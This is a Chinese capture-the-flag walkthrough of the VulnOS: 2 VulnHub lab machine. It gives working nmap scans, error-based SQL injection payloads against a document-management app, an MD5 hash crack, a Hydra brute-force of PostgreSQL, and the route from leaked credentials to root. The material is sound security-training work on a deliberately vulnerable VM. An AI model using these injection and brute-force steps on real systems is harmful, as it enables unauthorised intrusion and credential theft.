【Vulnhub通关】VulnOS: 2


准备工作

靶机基本信息

靶机名称:VulnOS

操作系统:Linux

虚拟机软件:VirtualBox

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机root权限并读取Flag文件

下载地址:1) VulnOS: 2 ~ VulnHub(VirtualBox)

2) VulnOS_2.zip_免费高速下载|百度网盘-分享无限制(VMware)
注:推荐下载VMware版本。

环境配置

靶机的网络服务存在域名,必须在攻击机的/etc/hosts文件中添加如下内容:

Text 复制代码
<IP地址>    irc.example.net

信息收集

主机发现

在Kali Linux中,使用netdiscover发现目标主机:

shell 复制代码
netdiscover -r 192.168.2.0/24

可以看到网卡名称为VMware, Inc.的设备即为靶机,IP地址为192.168.2.105

ICMP检测

发现设备之后,我们通过Ping来探测目标:

shell 复制代码
ping -c 10 192.168.2.105

说明我们可以Ping通目标主机。

防火墙探测

我们可以使用nmap-sA-sF参数进行防火墙探测。

注:Nmap进行防火墙探测时,会向目标主机的网络端口发送TCP ACK报文如果目标主机端口的回复是RST或者无回复,则目标主机大概率开启了防火墙。

shell 复制代码
nmap -sA -T4 192.168.2.105
nmap -sF -T4 192.168.2.105

如图,22806667端口的扫描结果显示为Filtered,判断目标主机极大概率有防火墙。

网络服务扫描

对靶机的防火墙探测结束后,我们进行初步的网络服务扫描。现在使用nmap探测所有TCPUDP端口:

shell 复制代码
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.105
nmap -sU -sV -p- -oN ./udp_result.txt 192.168.2.105

服务探测

SSH服务(22端口)

SSH服务的Banner信息如下(使用nc工具获取):

Text 复制代码
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.6

Web应用程序(80端口)

网站业务系统探查

首先使用浏览器打开网址:http://irc.example.net/

页面上没有什么关键信息,只有一条链接,点击以后直接跳转到真正的业务主页http://irc.example.net/jabc/

发现该网站有4个分支页面。依次点击它们,点击Documentation标签时,发现它跳转到的页面文本区域内看上去没有任何内容:

但是在查看源代码时发现了如下敏感信息:

Text 复制代码
<p><span style="color:#000000">For security reasons, this section is hidden.</span></p>
<p><span style="color:#000000">For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest</span></p> 
<p><span style="color:#000000">Thank you.</span></p>

说是有一个隐藏的目录/jabcd0cs,且为网站的管理系统,其中一份登录凭据为:

  • 用户名:guest
  • 密码:guest

而且发现了网站的核心是Drupal 7

尝试访问该页面(http://irc.example.net/jabcd0cs/):

非常不错。。。开局就是后台管理。。。尝试使用网页泄露的登录凭据:

成功登录后台! (可是。。低权限用户什么的不要啊喂)

网站后台系统扫描

既然已经登录后台,那么首先使用dirsearch扫描一波目录(必须指定Cookie):

shell 复制代码
dirsearch -u http://irc.example.net/jabcd0cs/ -i 200,301,302,304 --cookie="PHPSESSID: ************" 

可以看到网站有如下目录和文件:

  • /docs     =>     网站说明文档目录
  • /images    =>     网站图片目录
  • /include    =>     网站核心目录
  • /reports    =>     未知
  • /templates   =>     网站模板缓存目录
  • /uploads    =>     上传文件保存目录
  • add.php    =>     文件上传页面
  • admin.php   =>     后台管理员页面
  • config.php   =>     网站基本配置文件
  • database.sql =>    网站SQL脚本
  • delete.php   =>    未知
  • edit.php    =>    文件信息编辑页面
  • error.php   =>    错误提示页面
  • logout.php   =>    注销登录页面
  • profile.php  =>    用户个人信息页面
  • search.php   =>    内容搜索页面
  • settings.php =>    网站设置编辑页面
  • signup.php   =>    注册新用户页面
  • user.php    =>    未知
  • view.php    =>    未知
  • index.php   =>    网站主页,重定向至out.php

同时查看了一下网站后台的功能,Home按钮为主页,Check-in按钮未知,Search按钮为搜索,Add Document按钮为上传文件,Logout按钮为登出 。该后台的主要功能就是管理并查看上传的文件

SQL数据库文件

下载database.sql文件查看:

发现里面有14张数据表,其中odm_user表中保存着网站后台用户的登录信息。

其表结构如下:

SQL 复制代码
CREATE TABLE odm_user (
  id int(11) unsigned NOT NULL auto_increment,
  username varchar(25) NOT NULL default '',
  password varchar(50) NOT NULL default '',
  department int(11) unsigned default NULL,
  phone varchar(20) default NULL,
  Email varchar(50) default NULL,
  last_name varchar(255) default NULL,
  first_name varchar(255) default NULL,
  pw_reset_code char(32) default NULL,
  PRIMARY KEY  (id)
) ENGINE = MYISAM;

文件上传页面

点击Add Document按钮进入文件上传界面,选择本地的一张图片,填入信息上传,提示上传成功:

点击View查看图片:

发现图片访问成功,但是根据URL分析,该页面的逻辑似乎是先根据id将保存在数据库中的文件路径取出,再载入文件内容到页面上

查看/uploads目录,发现上传文件的文件名全部变成了以序号+.dat 为格式。推测文件上传之后,网站先向数据库查询了最后的文件ID值,随后使用move_uploaded_file()函数将文件从内存中移动到磁盘内,并将文件改名为ID值+.dat的格式。因此我们除使用文件包含漏洞之外,无法利用文件上传漏洞。

发现SQL注入漏洞

返回主页,发现信息栏中多出了我们刚才上传的图片文件一行:

点击文本为文件名的链接,进入文件信息预览页(detail.php

同时通过观察HTTP参数idstate,推测这里应该存在SQL查询,那么我们尝试在id参数的值最后追加一个英文逗号:http://192.168.2.105/jabcd0cs/details.php?id=7'&state=2

结果非常令人舒适:

看把孩子吓的,SQL查询语句都一下子爆出来了:

SQL 复制代码
SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = /*{用户ID}*/ AND odm_user_perms.fid = /*{文件ID}*/ AND odm_user_perms.rights>=1; 

BurpSuite,启动!

尝试使用sleep()函数(使id参数值为7+and+sleep(60)-- -,这样SQL语句就变成了如下状态):

SQL 复制代码
SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = 2 AND odm_user_perms.fid = 7+and+sleep(60)-- - AND odm_user_perms.rights>=1 

好啊,年轻就是好,倒头就睡(bushi


渗透测试

更换SQL注入点

验证了SQL漏洞之后,我们将id的值设置为:7+and+extractvalue(1,concat(0x7e,(select+version()),0x7e)),这样就能使用报错注入的方式注出MySQL的版本信息

可以得知MySQL的版本为5.5.47

但好景不长,接下来进行进一步注入时,发现当我的输入中存在_符号时,程序会将字符串中从下划线开始到结束的部分全部删除,且尝试了很久还是无法绕过,无奈之下只好再次寻找注入点。

很快,我就在edit.php中找到了新注入点,参数还是id

SQL语句如下:

SQL 复制代码
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = /*{用户ID}*/ and fid = /*{文件ID}*/ 

尝试加入_号,查看是否会删除该符号和后面的字符串:

Text 复制代码
GET /jabcd0cs/edit.php?id=7aaa_bbb'&state=3 HTTP/1.1
Host: irc.example.net

成功!

获取管理员账号信息

接下来获取数据库名:7+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

得知当前数据库名为:jabcd0cs

根据之前SQL数据库文件的信息,我们对odm_user表进行注入。

先获取表中的列数:7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1)

SQL 复制代码
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1) 

可以得知数据表中只有两列数据

接下来获取表中的第一个用户名信息:7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1)

SQL 复制代码
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1) 

嗯,第一个用户名是webmin,那剩下的那一个自然是guest了。

获取webmin用户的密码:7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1)

SQL 复制代码
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1) 

直接获取到了MD5值:b78aae356709f8c31118ea613980954

访问如下网站破解MD5:MD5免费在线解密破解_MD5在线加密-SOMD5

在输入框内粘贴跑出的MD5密文,点击解密按钮,很快就能获取到明文密码:

现已得知网站后台管理员的登录信息:

  • 用户名:webmin
  • 密码:webmin1980

按照惯例,尝试将上述登录信息用于SSH登录:

成功!!!


权限提升

进入系统,首先看看自己在什么目录下:

Text 复制代码
$ pwd   
/home/webmin

查看用户家目录下的文件,发现有一个名为post.tar.gz的压缩包文件

shell 复制代码
ls -lA
file post.tar.gz

尝试解压看一看:

shell 复制代码
tar -xzvf post.tar.gz

发现里面是一份Hydra暴力破解工具的源码。更可疑的是,目录下还有一份名为postgres_ext.h的文件,有可能暗示我们需要暴力破解PostgreSQL数据库

先放着不管,继续收集进程信息:

shell 复制代码
ps -aux

看看看看,发现了什么好东西ヽ(°▽°)ノ

发现了PostgreSQL进程之后,我们需要确定其监听的网络端口:

shell 复制代码
netstat -nlp

得知PostgreSQL监听的端口为5432

知道了端口号之后,我们就可以对其进行暴力破解了。

先对家目录下的Hydra源码进行编译:

shell 复制代码
cd post
./configure
make && make install

然后上传以下字典文件到靶机:

  • /usr/share/wordlists/metasploit/postgres_default_user.txt
  • /usr/share/wordlists/metasploit/postgres_default_pass.txt

随后使用刚编译的Hydra破解5432端口的PostgreSQL

shell 复制代码
./hydra -L postgres_default_user.txt -P postgres_default_pass.txt -e nsr 127.0.0.1 postgres 

可以看到用户名密码已经破解成功:

  • 用户名:postgres
  • 密码:postgres

直接登录数据库:

Text 复制代码
$ psql -h 127.0.0.1 -p 5432 -U postgres
Password for user postgres: ********
psql (9.3.11)
SSL connection (cipher: DHE-RSA-AES256-GCM-SHA384, bits: 256)
Type "help" for help.

postgres=# 

注:PostgreSQL数据库的常用命令 --

\q          =>     断开连接

\l          =>     查看所有数据库

\c          =>     切换数据库

\d          =>     查看数据库信息

\d <table_name>   =>     查看表信息

\db         =>     查看表空间信息

查看所有数据库:

在依次查看数据库内容时,发现system数据库内有如下敏感信息:

SQL 复制代码
\c system
\dt system
SELECT * FROM users;

得知靶机其它用户的登录信息:

  • 用户名:vulnosadmin
  • 密码:c4nuh4ckm3tw1c3

直接登录:

成功!!

查看该用户家目录下文件,只发现一个名为r00t.blend的文件:

百度了一下,发现是3D建模文件,需要用Blender软件打开。

将其下载到本地,使用建模软件打开之后,在建模内的白色正方体中发现了root用户密码信息(已将文本框拖出):

  • 用户名;root
  • 密码:ab12fg//drg

直接尝试登录:

提权成功!!!


Flag信息公示

文件名:flag.txt
文件大小:165 B
MD5:aefc1df838f6fcdeb8eb16c32ce222a9
SHA256:411935fe4f67a98718cb8c917a146946bca0c57a1c27e9bf0c080db1057efce8

文件内容:

Text 复制代码
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?

本次靶机渗透到此结束

相关推荐
小小工匠4 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
不灭锦鲤6 小时前
ssrf学习(ctfhub靶场)
网络·学习·安全
网络研究院9 小时前
如何安全地大规模部署 GenAI 应用程序
网络·人工智能·安全·ai·部署·观点
DonciSacer12 小时前
TryHackMe 第6天 | Web Fundamentals (一)
安全
云卓科技16 小时前
无人机之数据提取篇
科技·安全·机器人·无人机·制造
山兔117 小时前
工控安全防护机制与技术
安全
HEX9CF18 小时前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss
小小工匠19 小时前
加密与安全_HOTP一次性密码生成算法
算法·安全·htop·一次性密码
Tandy12356_19 小时前
js逆向——webpack实战案例(一)
前端·javascript·安全·webpack
什么鬼昵称21 小时前
Pikachu-xxe-xxe漏洞
网络·安全·xxe